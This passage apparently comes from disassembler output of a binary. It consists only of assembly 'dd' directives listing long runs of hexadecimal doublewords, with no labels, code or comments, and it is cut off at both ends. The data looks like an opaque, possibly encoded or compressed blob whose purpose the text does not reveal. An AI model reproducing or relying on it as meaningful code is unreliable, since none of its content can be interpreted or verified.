		dd 889AF8EBh, 0A9C5C307h, 0FDC2704Fh, 0B8178363h, 0D80020C4h
		dd 4B4867C8h, 3CFB0006h, 8C1BA642h, 0A1006FF9h,	0D12396EBh
		dd 0C921CE1h, 0E5AB9A4Eh, 0DC3E9D49h, 466000A6h, 0FDD5D363h
		dd 5D7F0012h, 850754C6h, 0F50EC1DBh, 0A06C8A71h, 5AB1C4A9h
		dd 43ED00DAh, 0CF51130Eh, 0A03CC81Fh, 0BDBA809Dh, 54D88E62h
		dd 0B1BC6020h, 0A3F53649h, 0CEA87100h, 0BBAD8EE0h, 6F00080h
		dd 29FAD8DBh, 480EB5C0h, 823B43C4h, 60653136h, 1F1C2DC4h
		dd 0E31BA2h, 1780DC4Ah,	70C0AE23h, 0F251C341h, 1B240309h
		dd 70D95B3Dh, 86AAABA9h, 81EAA0E1h, 3AF0B8h, 5FA46842h
		dd 9CB6D772h, 0A118C260h, 68308F8h, 0B90A23B3h,	5D00317Dh
		dd 95580254h, 1728BB1h,	0DB236AF5h, 8BE57F17h, 46AB80h
		dd 0B44795CFh, 0D98300AEh, 456BF1E0h, 0BB00750Eh, 0F9ABCB06h
		dd 0CABFF0h, 0ADA4E760h, 67B569EFh, 4105768h, 3B18385Dh
		dd 5053106Eh, 7DE05800h, 0C185CCA8h, 1030007Eh,	6322170Eh
		dd 3300E7C3h, 2EBD4811h, 23DD28h, 0F7E926C8h, 0A6F25284h
		dd 808D953Dh, 4CBD3416h, 128C49h, 18B0AB98h, 0D8832F0Ah
		dd 0C490E600h, 3CB84D91h, 1F8F90F2h, 5582320h, 0C304A310h
		dd 0ECC8A1A0h, 0DA0E60AEh, 0F284F3h, 5070BBFh, 3F6F0C7h
		dd 3A0A72FDh, 1CB8BA7Eh, 930A498h, 9BE02115h, 0E08E729Ch
		dd 313B763Ch, 4C49A9ACh, 0B1C5D40Fh, 0B25B0800h, 0BF4ABA25h
		dd 0E71A0012h, 9B7B6C54h, 0AC007AC3h, 876F5CAAh, 603B6Bh
		dd 62F4288Bh, 3615B88h,	1E31FB0Eh, 55E5A002h, 0A6BAC6h
		dd 50FCE894h, 0A80553B0h, 79DB7200h, 3946B842h,	1C01016Fh
		dd 3C634FC1h, 0A918D824h, 7369CC00h, 7ED2C0EDh,	2EE70139h
		dd 0ABF893A3h, 9881D678h, 80826057h, 3CC51DC0h,	0CF9422h
		dd 0DA9FCEC9h, 0DB38F4FFh, 629BE600h, 0A55B55Eh, 7A7683h
		dd 1BCA9367h, 886EF140h, 0F4E7FF00h, 0F005DBCDh, 6DA80E0Ch
		dd 317DD36h, 0AA2533D5h, 99916801h, 61195C97h, 0F84F1820h
		dd 1D02006Ah, 81A90595h, 1C00F0DDh, 0EA588929h,	1FBFD07Bh
		dd 4042DB09h, 1FC3FCEh,	5C00406Eh, 0CD49F5BEh, 0FE01D3Dh
		dd 2646B5E5h, 82B98BC0h, 0D00015DCh, 5FF359E6h,	9211DE32h
		dd 62D50050h, 1914479Ah, 4300A9CAh, 161FF93Dh, 0EC2BB9Bh
		dd 57063484h, 97046781h, 78A9F00Eh, 0D8FAE303h,	0F89E2DFFh
		dd 90450381h, 0E51000Ch, 0F8B6F012h, 8800B88Dh,	0B98EC405h
		dd 8A7906h, 5F0E01FFh, 0FB569C59h, 7C0F2C00h, 5AF52EE6h
		dd 9FE237h, 27C6FE99h, 4FD9EC73h, 0A9EDA00h, 0B4C7AC33h
		dd 0A05F744Eh, 0BAD6A0h, 0A8AD3921h, 171163A6h,	0A4B0EF03h
		dd 988386F3h, 81FCFDh
		dd 0F29F0671h, 32CB820Fh, 0D4505B01h, 9884C67Dh, 0B01C2880h
		dd 570E8A2Fh, 0E47E560Eh, 3E8820CFh, 72B9771h, 644A0D22h
		dd 9C8C103Fh, 4C009520h, 7C26607Fh, 25CF08Fh, 868DABC8h
		dd 0F840681Fh, 400077F8h, 0AAB8A92Fh, 0D5C945h,	8A50C1E2h
		dd 24072166h, 0DBD9E914h, 0D1A700A2h, 42B6E1D7h, 778F0097h
		dd 0BCBFC402h, 0F1C04766h, 737592AEh, 0CFD10765h, 0C0AC410Fh
		dd 8824C016h, 0D8001772h, 8519BC1Fh, 73DAE8AAh,	0FEF4A1C6h
		dd 91A44Ch, 1D6B4AE6h, 6DC0D1FDh, 0C7DF321Fh, 0CB83C4C0h
		dd 2899102Ah, 0EA90ACDBh, 0AD290F46h, 6AA0EA65h, 0FCD9AF2Ch
		dd 158E8500h, 3F311E9Bh, 8FA0C1ABh, 0F8926DA7h,	6300EF57h
		dd 88113432h, 26E5EE76h, 360967h, 0F815EC1Ah, 5C7892C4h
		dd 50EDB200h, 349E6505h, 0CA1F0048h, 0A60EFA07h, 721895ABh
		dd 57C98825h, 150B00D0h, 0D6338A85h, 660092C5h,	1B953F9Dh
		dd 5B3428h, 7A773CB9h, 0BB451E12h, 9E79EE75h, 0A5CE1100h
		dd 1038C8EFh, 1F8F3BA4h, 2EA68A80h, 37559A9h, 5F648307h
		dd 0FC412FD0h, 0B5DC47B1h, 266A00C7h, 0E8769A75h, 9900E6F3h
		dd 3FF70538h, 5DA7A12h,	0F85F9F01h, 74A000FBh, 0D52C382Fh
		dd 9EC039h, 27997D43h, 2C69DA36h, 193F99Bh, 37A02B92h
		dd 941AF463h, 0A6560400h, 5D3453B5h, 0DAE10020h, 465E865Fh
		dd 0F600852Ch, 835A3530h, 0DF6DA5h, 4207321Dh, 6C3E9865h
		dd 0DE1AE000h, 4BB8467Ah, 0C6BD005Ch, 78DDBE9Ah, 0F47B7086h
		dd 4D73840Eh, 0E05C4F28h, 214176A4h, 0C8A01423h, 4250B0A3h
		dd 185B0082h, 44601A87h, 6E2C207Ah, 710EBDECh, 90F7A20Bh
		dd 639E8052h, 3CB0EE9h,	51571F26h, 87E0CEE1h, 0F91D98E2h
		dd 4000C4BBh, 0BC491C0Fh, 59AE03EDh, 3BE19C50h,	72531590h
		dd 0C7A4AA00h, 52E639B0h, 0B6A80048h, 0EB4586F2h, 570031BDh
		dd 4AD9A261h, 4CE92873h, 990E3FCCh, 9F4008AFh, 9A1C74A9h
		dd 11ADC830h, 2CEB230Fh, 0A4C461FBh, 0E60D009Fh, 0B593A27Fh
		dd 52511100h, 4D4B4ABh,	0C32B0364h, 6F3D2160h, 0DE2947E8h
		dd 18C739h, 89DD537Fh, 1AAF315h, 0EB27845Eh, 0CC3A0665h
		dd 6F00B3FDh, 2A8B614Eh, 39F57h, 0BD8CF4DCh, 0E1867E22h
		dd 1660C500h, 759CE83Dh, 3777F2h, 4FFF74E4h, 15C90FD7h
		dd 0EC90AE76h, 0CB186800h, 170639DAh, 0A3CD004Bh, 507A3D74h
		dd 8E01E477h, 45B19F4Ah, 84E45647h, 0B0A90037h,	97B3F105h
		dd 0CD00D921h, 18F35A82h, 1DCF3BB2h, 40C3FFFAh,	602F8A4h
		dd 750F9F42h, 991FD89h,	5AAC2086h, 16D8BEABh, 34931h, 9215A00Eh
		dd 2F029484h, 0C2DCDB41h, 20536082h, 0EFCA1CA6h, 64CCC0B4h
		dd 0D59901A4h, 56EB1009h, 0A0C4A078h, 3A68E2C0h, 0FFFDD3h
		dd 0BE2B5559h, 4237FFEDh, 0A05EEC00h, 278FE136h, 78220041h
		dd 540CCE0Ah, 22999B5h,	8A84ECCCh, 1340D964h, 0C96B9DF6h
		dd 0DF2C2004h, 6C877FC8h, 2D0F5360h, 0A87D4Bh, 57E52E2Bh
		dd 0FA33DB9Ah, 48775800h, 0A287A182h, 620300F5h, 0B9647841h
		dd 7E04FDCAh, 97A0DC56h, 0A33A6480h, 1C8A00AEh,	0BB6D6C7Fh
		dd 0F247662h, 68003B9Ch, 0F0FD0BFCh, 2640E679h,	44334Ah
		dd 0E42526D5h, 0B7006FA0h, 0EE735621h, 593508h,	643E96D6h
		dd 749B395Ch, 7C00FE98h, 0BF95476Ah, 0C660823h,	2B8A67D0h
		dd 920BA4BCh, 80A29DADh, 58B5C1E9h, 0CF6750FCh,	70E12419h
		dd 5BA000E4h, 842F88ADh, 7BC2B48h, 3352E301h, 806FA92Fh
		dd 55957118h, 0E84C00DCh, 46C6A68Ch, 0E538707Eh, 74BCCC51h
		dd 11CB0C03h, 0E05650E4h, 17538Dh, 620B0A18h, 6E4B68EEh
		dd 0C4B53800h, 6B60D43Fh, 5C0E0086h, 0B6AA9451h, 4D048AFCh
		dd 0E09848B2h, 1F7D20D0h, 428600D7h, 8921085h, 0AF006D9Dh
		dd 0D5D11404h, 14D9B30Ch, 0D28BD8D6h, 55064503h, 4000B03h
		dd 9515A682h, 0E69025h,	5844F866h, 0F35507A0h, 0B006C7Ah
		dd 455EFC2Bh, 4A1D79h, 5D26B1BDh, 0E64C41B0h, 0CFBCB600h
		dd 700799C3h, 0CC490251h, 9231B51Eh, 9B36EB60h,	40D40967h
		dd 0E7C34C60h, 0F29E1FB8h, 9FE48065h, 0D788B71Eh, 0BC64A300h
		dd 25094AD6h, 87EA00F0h, 89DC9DC4h, 6FF231ECh, 5800A27Eh
		dd 0BE9094ABh, 0BAF12C5h, 9524ED72h, 0E20EBC00h, 7093815h
		dd 5B37F51h, 648030DAh,	2578B4BBh, 1C80A565h, 0D9F7E0C6h
		dd 0BCA91D03h, 9203FB9Ch, 1E8053E4h, 70CC03DBh,	11009867h
		dd 689FC754h, 3D02CEF4h, 9E021FAEh, 94DD3DCFh, 2D148460h
		dd 4F0CA3Ah, 0E3639146h, 0E680B0h, 0CC21EB3Eh, 6C1CD384h
		dd 1FD78B3Ah, 22226588h, 2133A104h, 0A2BC29E4h,	0A86CC3E5h
		dd 38ED433Bh, 0A881F21Fh, 5566896h, 0ECD1D0ABh,	0D91C3F06h
		dd 241864D5h, 85C0A9h, 0E1C72D24h, 380A79BEh, 383DED06h
		dd 0C407601Ch, 0E400ECE3h, 603CC16Fh, 6109B1B0h, 9A011F39h
		dd 0C3903EAAh, 80FA686Fh, 0CB5B7A68h, 25E639ECh, 8774BF83h
		dd 95986922h, 0FE00193Eh, 0F39E5C2Ah, 0FE757108h, 63120067h
		dd 72A7377Ah, 8F1E54A0h, 0FE404D47h, 318543A6h,	80D83DD0h
		dd 67F8A980h, 5C0A1D81h, 0FD83E900h, 82B910C2h,	0EE5700B8h
		dd 0E10F2E63h, 3F07A350h, 0FCC571F8h, 0C0C20A62h, 2D2D40D1h
		dd 6BD48F48h, 33BDDC07h, 8A5220A0h, 0B45500DEh,	0CAAE08C4h
		dd 0DC029876h, 0D6F14E35h, 411D484Fh, 1793076Fh, 70099F9Ch
		dd 7D136BC6h, 590238h, 77C8DC1h, 0C41810h, 8662427Bh, 4F16EC41h
		dd 7323090Eh, 0E8BC0AC5h, 2B6C380h, 0EEAFE40Eh,	414E8D6h
		dd 6ADE4BD7h, 3C14B4E0h, 20ECED12h, 0B8214B00h,	582D6591h
		dd 0B43B20B9h, 0F478004Eh, 0C72A1E1Bh, 0C9017905h, 0F300CA18h
		dd 0B88C25C1h, 584E00CFh, 953EA9B1h, 39C059B4h,	2DB9FA24h
		dd 446C032Ah, 27D0BA41h, 0D946D780h, 0A911EC00h, 9550079Dh
		dd 0E080381Dh, 2E856F3Dh, 40B1BF7Fh, 1A1441FCh,	5E262D5Dh
		dd 0B500B481h, 0E1A23CA8h, 1BF238h, 6720016Dh, 0E3A31FE0h
		dd 25B41700h, 0F287634Fh, 0E858003Eh, 0EEAB0B47h, 0C0752829h
		dd 0A2652601h, 3AE73F4Eh, 0AC48F440h, 7A690F2Fh, 0A4D56E5Eh
		dd 0BC771D00h, 54EEC831h, 0CD4A7C1Ch, 46113799h, 0D30C045Fh
		dd 3C103940h, 0CE63A617h, 8F01200h, 90AD8Ch, 0CBE66975h
		dd 804486D3h, 993C0D0Ch, 44BC295Eh, 6844D609h, 0DF10847Ah
		dd 0A07ECF28h, 886D3F28h, 0BE880D1Eh, 0B429C82Ah, 162B00B9h
		dd 0C9263D51h, 70A601D8h, 4CD628D9h, 801761CAh,	37F43632h
		dd 219140Ah, 8F8BDA0Ch,	4C008BDh, 8D000E17h, 36FB9BA9h
		dd 3E93C8F2h, 2000D283h, 0B90A4ADh, 8F079D99h, 0CE4684FDh
		dd 475A7430h, 102939F7h, 95033700h, 7E8F0920h, 69720EE4h
		dd 0C3C2971Eh, 0FD6C5D80h, 51AEB8h, 0ED62AA7Ch,	7682315Bh
		dd 3A48E200h, 974D54E5h, 0CE2C00A6h, 0F908A7D8h, 4B3C5689h
		dd 85A08023h, 0EDF466AFh, 0F6C80798h, 805C38A9h, 2B03F0C5h
		dd 9D6EF807h, 6CC7B975h, 51237D50h, 33CC074Ch, 606673E6h
		dd 59081A0h, 2ECBD11Dh,	0D2B50D40h, 34BC753h, 0EFA40AE6h
		dd 0CA988539h, 467C3AA1h, 3C9AE3Bh, 0CE7CE0FDh,	0F7FCC087h
		dd 43C109A9h, 0C075B44h, 0C0EAC5D4h, 0AFA5361Bh, 98FACE00h
		dd 0D84C81DDh, 93F423h,	78C8164Eh, 0E06E5FF0h, 0E5AA7E00h
		dd 213CCB31h, 769700B1h, 1DEDB968h, 4B7029D0h, 1AF4C600h
		dd 27C9C723h, 84492AFh,	3BD7F21Eh, 81C4B00h, 0A80BBEh
		dd 6231C08Eh, 1B6A705Bh, 1D00EA90h, 6E33D0A4h, 0FE1060h
		dd 81DF98B6h, 499D7E76h, 0B972EB0Fh, 0CBC3A005h, 0F23A7A4h
		dd 7EB4DA8Ch, 55639500h, 6900D8BFh, 0CD9D1D9Bh,	7D66FA6h
		dd 0D4F8B0F9h, 0C24AF3E6h, 0E56A91B0h, 491E3F00h, 4DEEDFC5h
		dd 97340014h, 8BCF656Eh, 0E4762447h, 500037E4h,	0CD5EC768h
		dd 0C44CCAh, 0BFC92E60h, 0C10DBC07h, 394B1800h,	528BE297h
		dd 0B45D3CCBh, 7EA917h,	0A1D319F3h, 7B003B41h, 8367311Dh
		dd 0F9F15BCh, 0B1E4D02Dh, 9E157FDh, 0E0204AE0h,	7943C3C9h
		dd 3C5A6B00h, 45BFA55Ch, 97080EE3h, 0DFC0A4C4h,	3048B764h
		dd 1C51E705h, 14C0D333h, 17A04492h, 7ACB962h, 509D2EE8h
		dd 4E5AAD38h, 0FB3CB800h, 0DC97E8EBh, 0A2B8AAh,	35D4BF1Ch
		dd 0A070927Dh, 0DB58CAEAh, 0C4330088h, 5B235F19h, 3E3D0376h
		dd 4E1C4616h, 0F5545AF8h, 96004471h, 0EECBDF86h, 3F40B24h
		dd 7FD1D62Eh, 83B89453h, 57073705h, 0B817E39h, 2F5481CBh
		dd 0E424C59Bh, 6076F004h, 4BB67EC1h, 0C700D654h, 1ED881A3h
		dd 88CFF4h, 855D039Eh, 43FF9A30h, 0D200D4FEh, 9D8DB30Fh
		dd 1309E963h, 83F6F5h, 6BC7F332h, 0BC00D9D0h, 9801C448h
		dd 2D8709Bh, 301C9265h,	0AB80364Eh, 2EEC8072h, 18323Fh
		dd 0D91B9405h, 0AD5B89h, 1C74A85Ch, 0DF0DB763h,	689B350Eh
		dd 0E0EE0F51h, 0DDF13F04h, 0CF46003Eh, 0B2EC2ED0h, 0ECF38B41h
		dd 9E03BEF4h, 989BC08Ah, 64C0C525h, 1D8185A3h, 4041B55Ch
		dd 2851EF46h, 0BD00F115h, 800E8ED6h, 0EEF596h, 0DE481335h
		dd 0B037ECD2h, 57D13101h, 0E344B412h, 669FC8h, 0C5ACF524h
		dd 0BDB41D6h, 1A199800h, 0F60A32A7h, 3B2700EFh,	75D917F3h
		dd 0CC00EEB6h, 4DDBB839h, 9578FBh, 0F25FF106h, 8E2E29D1h
		dd 0D3540B00h, 16BCB0FEh, 5E8200EBh, 36040E23h,	4C90B240h
		dd 3F2BBB00h, 0A3DF16AAh, 2A6A07DCh, 63397314h,	0CD00FA2h
		dd 93039D62h, 0B017AC8Fh, 2AC9E00Bh, 0DBD400D2h, 0C7B5EF8Ch
		dd 3F03D820h, 0FE429DB1h, 2A06A0E9h, 0EF1C00E8h, 2493C6F2h
		dd 8981EE0h, 0B6E26000h, 5CC732BAh, 56F21FD3h, 0FB1F804Ch
		dd 1C53C8ECh, 43033D7Eh, 2B62CA98h, 889CE0EEh, 0D5A40074h
		dd 3F22D6FBh, 48135013h, 0FC1DB476h, 3A3D31C0h,	83AD56h
		dd 1110F4F3h, 443880DBh, 158A3200h, 51EC6F6Ah, 58E1FF9h
		dd 0D52B8E16h, 238C6740h, 0EF00C96Bh, 7469C20h,	0CCE57F4h
		dd 45104DDFh, 92E210h, 50956600h, 0B159BCAEh, 1EDF029h
		dd 4EE6A451h, 0D16D8FEFh, 36C7C0F7h, 0D6A6CF00h, 5928BD64h
		dd 1C72B9h, 5471B7C8h, 9B971155h, 0AD4DDA77h, 4C130014h
		dd 8191D0EBh, 7C3B039Dh, 0AF112220h, 0A52B6E90h, 0BD858900h
		dd 3413084Dh, 7A3E3802h, 0BC538282h, 424038A8h,	0E200B016h
		dd 0B1EC1841h, 0F07320h, 0A47B9EF9h, 421D9622h,	34435F02h
		dd 46360761h, 5098DCh, 6254450Fh, 7B285AF0h, 0C5172600h
		dd 0F208AD5Eh, 8B70004Ch, 0FE868EACh, 0DD00E132h, 0D49F9EB4h
		dd 0F874CDh, 0FB72578h,	8371DBA1h, 2D010EF6h, 1EA87918h
		dd 0CBD02958h, 50C00066h, 0BF49E4EDh, 717F7627h, 5DBEE000h
		dd 200FEC3Bh, 0AD13A2Fh, 9739145Ch, 9FFAA980h, 8E9C1070h
		dd 0BF4DC501h, 435DE478h, 6709F03Ah, 0D4841300h, 23CCE1D3h
		dd 696500BAh, 0E4F356CAh, 71D44C7h, 5B8064F0h, 738E59D8h
		dd 333028AFh, 66C605C0h, 0C1A323D5h, 0E2540192h, 0F9A469E0h
		dd 95820E5h, 2E017C90h,	2B6BE888h, 34311B92h, 0FE025CDh
		dd 7E7F0776h, 6039019Bh, 2F77F653h, 41FCB717h, 0BCBE00EEh
		dd 3897EF06h, 8EE51F00h, 1702BF1h, 31CF001Eh, 0CA92372Eh
		dd 200B1A41h, 0A046A15Eh, 698C9A6Ch, 0B3DB002Ah, 997503A8h
		dd 0A301FBB9h, 0EB56A016h, 2CCCDCC6h, 21EE3978h, 7603A2B8h
		dd 0BBF15128h, 94901DD0h, 5542B501h, 4F180DF2h,	725420h
		dd 138AB206h, 8897FADBh, 1D7E290Fh, 10C5A06Ch, 0FF2B4Eh
		dd 0C461964Dh, 66CA88CBh, 678612C0h, 0F1A9AB5h,	830870CEh
		dd 0A6C5AA80h, 3500077Ah, 24484336h, 0AB1E26h, 78F9D305h
		dd 5A2B7B83h, 0D5B8C00Eh, 15FBA02Fh, 40254Bh, 98730703h
		dd 97742047h, 0A00B9200h, 6C12910Ah, 61C44CD5h,	1E026F0Eh
		dd 827F1340h, 6B073F35h, 914523Ah, 792ECD40h, 0F3211EDAh
		dd 9FF641F8h, 0D4E85990h, 80007566h, 0FAFC4CB8h, 16B0E0E4h
		dd 0AA612C4h, 6A79940h,	38F9AF63h, 96332200h, 0BBB03F6Ch
		dd 6DB700F4h, 29E81479h, 0BC0A738Dh, 0A4CF0F09h, 0D94CE00h
		dd 36BA96h, 0DF7EEC51h,	151198B2h, 0F256E81Ch, 578C7800h
		dd 9D88047h, 0DE5DF606h, 0F8BBD0A0h, 2C3F6FE2h,	621F003Dh
		dd 6CD29021h, 1EC7E68h,	80341E25h, 20170792h, 0FE000CF9h
		dd 7D0F5BD9h, 1C9099h, 5D1081CBh, 0E939FA14h, 7726F900h
		dd 0BC66C338h, 3700083h, 70ED008h, 0B20043BBh, 214CF7D2h
		dd 1D4B5Eh, 0B3FCD7EEh,	68563889h, 3A732712h, 0D9428C01h
		dd 63E493C5h, 37260034h, 30CAC4D2h, 47033584h, 0F8BEB442h
		dd 62B9B80Ah, 47D0BA7h,	0A018239h, 0C078FDE6h, 8D0280D3h
		dd 9AA8A984h, 708C4074h, 307E246Ah, 4C20807Ch, 0A01781E1h
		dd 0EADC1607h, 0B081C757h, 0E0EC5F6Ch, 7BAA00EEh, 2079A863h
		dd 3700B86Ah, 6C4E32BFh, 0D3C41h, 0C0FF81Dh, 0E3ACC380h
		dd 0D91AD000h, 0BDBC43A6h, 3CFD0066h, 0B611D6DEh, 5000C245h
		dd 556E8C71h, 3DE2F2E4h, 36BF6726h, 529E903Ch, 0ED324315h
		dd 59A0EF5Dh, 2E7E0F37h, 25EB4B00h, 0ABD3F3A0h,	97DF00DBh
		dd 0AC2459CAh, 0CD00BE4Eh, 0D050A3FDh, 5C79249h, 5206F1ABh
		dd 9ABE8023h, 0B57D7A47h, 6D2C0900h, 2982A118h,	0B3880E87h
		dd 85409C3Fh, 48D3B9B7h, 9F06E600h, 5325362Bh, 3C55019Dh
		dd 0E440DE72h, 2004C503h, 33E61E0Dh, 636548h, 0FFDA6E89h
		dd 127A579Dh, 1C0B3DACh, 0AB2900CDh, 3AE5D158h,	7893D701h
		dd 0AE4A172Dh, 2634060h, 3EB24710h, 808FCBE7h, 21BB3CC3h
		dd 2BB0CAB3h, 0A5002A19h, 0DF04979Bh, 9A59F388h, 0E3A80060h
		dd 6F8DF7C4h, 0AB0F2317h, 0D7EAA50Ah, 0C1DE0800h, 3C7ED41h
		dd 0E01C317Fh, 99A8033Dh, 4207A8B2h, 0AD8A04B8h, 0B0898153h
		dd 544D077h, 3D5CDFBEh,	23DCC04Bh, 93395621h, 14CB80E1h
		dd 627769B6h, 71B3071Ah, 20E075B4h, 0E8E4BB68h,	0E5DB7600h
		dd 91022351h, 0FE93005Ah, 2003546Ch, 0E7000DA5h, 0A33959A9h
		dd 863DB1h, 911A097Fh, 5BE2F56Ch, 97059D00h, 8C62844h
		dd 641E0061h, 0A9951D94h, 0E001DBB6h, 5D1ABF1Ch, 9EE8D01Fh
		dd 637F0072h, 8515E73h,	3400CD36h, 99951EDAh, 16C8B5h
		dd 0E560B1CBh, 8A68AC73h, 91B41F00h, 72CD515Fh,	0A5EC00F9h
		dd 0CFB6D714h, 5E00470Fh, 280AFD99h, 32A110h, 0E43CDB4Bh
		dd 0FB69F257h, 0D64CFE77h, 7ECC0EBDh, 91E5A0C3h, 0A3B96FA7h
		dd 0C0D9CB9Ch, 1AA1CFCAh, 70D1E72Eh, 0BFA51280h, 0DD1E1C6Ah
		dd 0CF00F041h, 8FABF521h, 92603A9Bh, 98A1DF01h,	0D0E0A725h
		dd 243CC430h, 9D6C0056h, 312EC86Eh, 0D82D007Ch,	0F44401F2h
		dd 0B300CE43h, 3C4CD5DBh, 0E5546B2h, 398FB136h,	79FB9C00h
		dd 700F818h, 0AE2C5CACh, 1F2ECC0h, 81C12504h, 0E0A37FBEh
		dd 30001008h, 557231B2h, 0EAAFD0h, 0B3B0F145h, 7985D2D9h
		dd 9C960216h, 9D130400h, 0E207E1h, 0C7FF0EA5h, 0EE2D40A9h
		dd 0ABA08B72h, 730014F5h
		dd 3505262Eh, 1CC11116h, 80592D07h, 0A46E41F0h,	23E6465Eh
		dd 0F77B800h, 0C9FFEA1Ch, 17E0E811h, 0A68FD6h, 0E5D545ACh
		dd 0C8274655h, 0ABBC21DBh, 0D464F19Fh, 0A3DD0794h, 53593F37h
		dd 0FDD07AD5h, 4004ED9h, 89175D2Fh, 44FD192h, 0B625EDB9h
		dd 0F8F8D36Fh, 87182EA8h, 0AD755D00h, 0E69DCF56h, 0AFEC3F1Eh
		dd 0E2D1E580h, 91ACD24Ch, 0B9186700h, 6C246F28h, 4DB601F3h
		dd 0DB547317h, 0D303E0A9h, 7C82EF01h, 52231457h, 8A4075EAh
		dd 0F4E5DF4Eh, 42071DB1h, 693D0A77h, 2EA97DA0h,	1350FAE8h
		dd 295CCFFh, 0E63FF71Bh, 5E2A40FDh, 0AB760234h,	9621687Ah
		dd 7F5CB460h, 53D5701Eh, 0C131D800h, 3A551CAh, 48E47276h
		dd 0D9909A30h, 5700C5E0h, 0A61CBEFh, 817CA3h, 71C1F82Ah
		dd 6DFFDB99h, 2578B703h, 0E8276F72h, 73CE989h, 0DC61A65Eh
		dd 0A04F82F4h, 970E5A40h, 0A9ED9100h, 0A4F6EA0Fh, 5A4D00E7h
		dd 9688A0D4h, 7700CBAFh, 5F9C8F82h, 3F52813Bh, 0FF801560h
		dd 377B9238h, 0AE00E0BAh, 7AD258F2h, 13768057h,	0F714EDh
		dd 380B3465h, 0D1391D5h, 0F9AC0C9Fh, 1874D300h,	9703ACF6h
		dd 67153900h, 0A0A2989Eh, 0E48A079Fh, 71C0B729h, 30E8FF4Ch
		dd 0E61E7F28h, 6C079EAh, 0EC91D67h, 57031735h, 95CE00FCh
		dd 5F45234h, 0D2789001h, 4D54FAA8h, 4AC0E8h, 30E32EE7h
		dd 0AD0CF655h, 0C8B9F900h, 473405D6h, 0C2BF037Ch, 3BCB7785h
		dd 0E9CCBBE1h, 3E9CFC64h, 9773B92Eh, 88C2FB07h,	0A20500A9h
		dd 63B8D3h, 566184EEh, 0CAB0FA9Fh, 0AE823B00h, 70404FCBh
		dd 10EE12h, 0C60D967h, 0D281E62h, 7A03D0FCh, 0C8987880h
		dd 0C249986Ah, 915C00BCh, 4D5E4346h, 1C007B71h,	782BE6B8h
		dd 0F84808EEh, 0A0D1FBFh, 6F970025h, 98D1FE72h,	108AF48h
		dd 7B4CA2D6h, 7CF87999h, 27A938ECh, 452DF380h, 0C4B24EE5h
		dd 5701FC00h, 0EFEA7D21h, 0EE0300AEh, 95CA0ABCh, 0CC0E84CFh
		dd 0A033F0D3h, 1E1AABB4h, 88A40A8Dh, 2B13548h, 0BDC4E4B5h
		dd 80E19840h, 7598E700h, 3E025953h, 0BFD83C57h,	78309780h
		dd 90BD470Bh, 81B22C3Ah, 1C1368FBh, 19C4B408h, 121600DCh
		dd 995474F2h, 0F93B4425h, 91B80084h, 704AC76Fh,	0D0A20E2Eh
		dd 0DE20E90Fh, 0F7E48F0Eh, 2896480Eh, 3CE6A0E5h, 0C3936Dh
		dd 2510AF05h, 0CBFC9ABBh, 4C0C431Eh, 8231317h, 0C889EB73h
		dd 90AA1146h, 2C7B00F4h, 4C1701ECh, 4804B349h, 5EAEF0B1h
		dd 0D7CBE280h, 9E2200E1h, 4376A71Bh, 3C01798Ah,	0BDEB4FC2h
		dd 9450ABF8h, 98C938h, 815C091Ah, 0FDF7E991h, 58A2A400h
		dd 4C8F5432h, 0EFB61CE0h, 43D35E6Ah, 5A57C36Ch,	680D2098h
		dd 0D4A0A8A2h, 0F929B734h, 0D1257400h, 0E8AABBD7h, 0A6904Bh
		dd 0DBAEBF38h, 9BADE692h, 3488F00h, 0A32226BDh,	5EA00044h
		dd 0B3CD99ABh, 0D903DF73h, 0CF534912h, 20F658h,	0C9360A15h
		dd 2E4676F8h, 0F1BB8507h, 0C07954D5h, 0E098E898h, 6997008Ah
		dd 99E79B30h, 9C1D8B07h, 0F581EA4Ch, 0DD4BF7B7h, 0EA1A1D70h
		dd 48B200CCh, 4EDCBDC1h, 601EE684h, 8CF1F3Ah, 0D7D207BFh
		dd 0DDA7A490h, 90AA0080h, 0F5C2CEDCh, 89006871h, 8C61F313h
		dd 167EF29Dh, 0F8A6701h, 48E03A00h, 2ACCD74Ah, 0A23B55F2h
		dd 0AFEB0029h, 0E88C3F91h, 8378007Ah, 0B6249FA9h, 970030EEh
		dd 3FDED706h, 5C27E3ACh, 0CF059658h, 56DA6Ah, 12F303D1h
		dd 4173465h, 400072D4h,	0BA701FBCh, 9A6C00BEh, 0ADA0F5E8h
		dd 0DE341CCEh, 54C07CEEh, 0E7F0A7Ah, 0E26039EDh, 1BF0E083h
		dd 87939980h, 77B43500h, 0BB51CB13h, 0E78E3FECh, 1510E980h
		dd 0D7FAC9DFh, 0D572D00h, 0D19FF27Ch, 80A950B3h, 0DE8E0F8Dh
		dd 1660555Eh, 4AE3741h,	43017D00h, 0F8C32D99h, 61D6006Dh
		dd 691A1973h, 49018495h, 86413593h, 0F8C0E5DCh,	0A41C00EEh
		dd 0DB4A10D0h, 0D1000FBCh, 7F71D652h, 0A1F848h,	645863C8h
		dd 0C4C1A869h, 0F24C4330h, 33E3330h, 710ABE79h,	0C580FECBh
		dd 61D055Ch, 77008F12h,	2FE4B49Bh, 0D8700B0h, 6924A28Bh
		dd 6B00F729h, 0C5B1D567h, 0C87D4Bh, 85541608h, 3B470E15h
		dd 0FD523038h, 7B7F8D24h, 7B9FEC00h, 0BD4225h, 37F5DCABh
		dd 4CA495BFh, 7EE0E916h, 80BA3B1Dh, 217DBC7Ch, 3EBFA6AEh
		dd 8FBB883Bh, 72A800FBh, 68101E17h, 5C4C143Fh, 0ADA0606h
		dd 90407AE1h, 0F45E7625h, 50AF02E4h, 572A97B0h,	308F0C43h
		dd 145AE136h, 0F255CC00h, 0F15B172h, 4DF4008Ah,	2359DE49h
		dd 9B0B1494h, 41688F31h, 2E8AA2Ch, 8A6D0E08h, 388259E6h
		dd 18635183h, 7DA95D89h, 0DC2082B4h, 0D8D0DAh, 87887821h
		dd 0F608D4Eh, 0D1071CEEh, 61EC82C9h, 98A1E6F3h,	0D4F7DCh
		dd 0C38FEDEFh, 85A7144Bh, 1AB65102h, 6052E34Ch,	1DF064h
		dd 6227EDC5h, 328195DCh, 33243100h, 364E2A7Dh, 0F0A200F3h
		dd 184CB606h, 9C008368h, 9A2CCDFEh, 5D8031h, 0B4CBBB9Dh
		dd 1DE02DAh, 0E200C390h, 0C78D253Dh, 76B95D3Ch,	0EE0500CEh
		dd 8AE3363Eh, 66004B18h, 0C48997C8h, 0C731AFh, 9037DC1Bh
		dd 1B72C47h, 5053B200h,	9C20AD2Ah, 0EE9F0041h, 3D3AF09Eh
		dd 8E00C40Eh, 904656B6h, 0F23F35h, 0A36F6D13h, 0A8C2BC08h
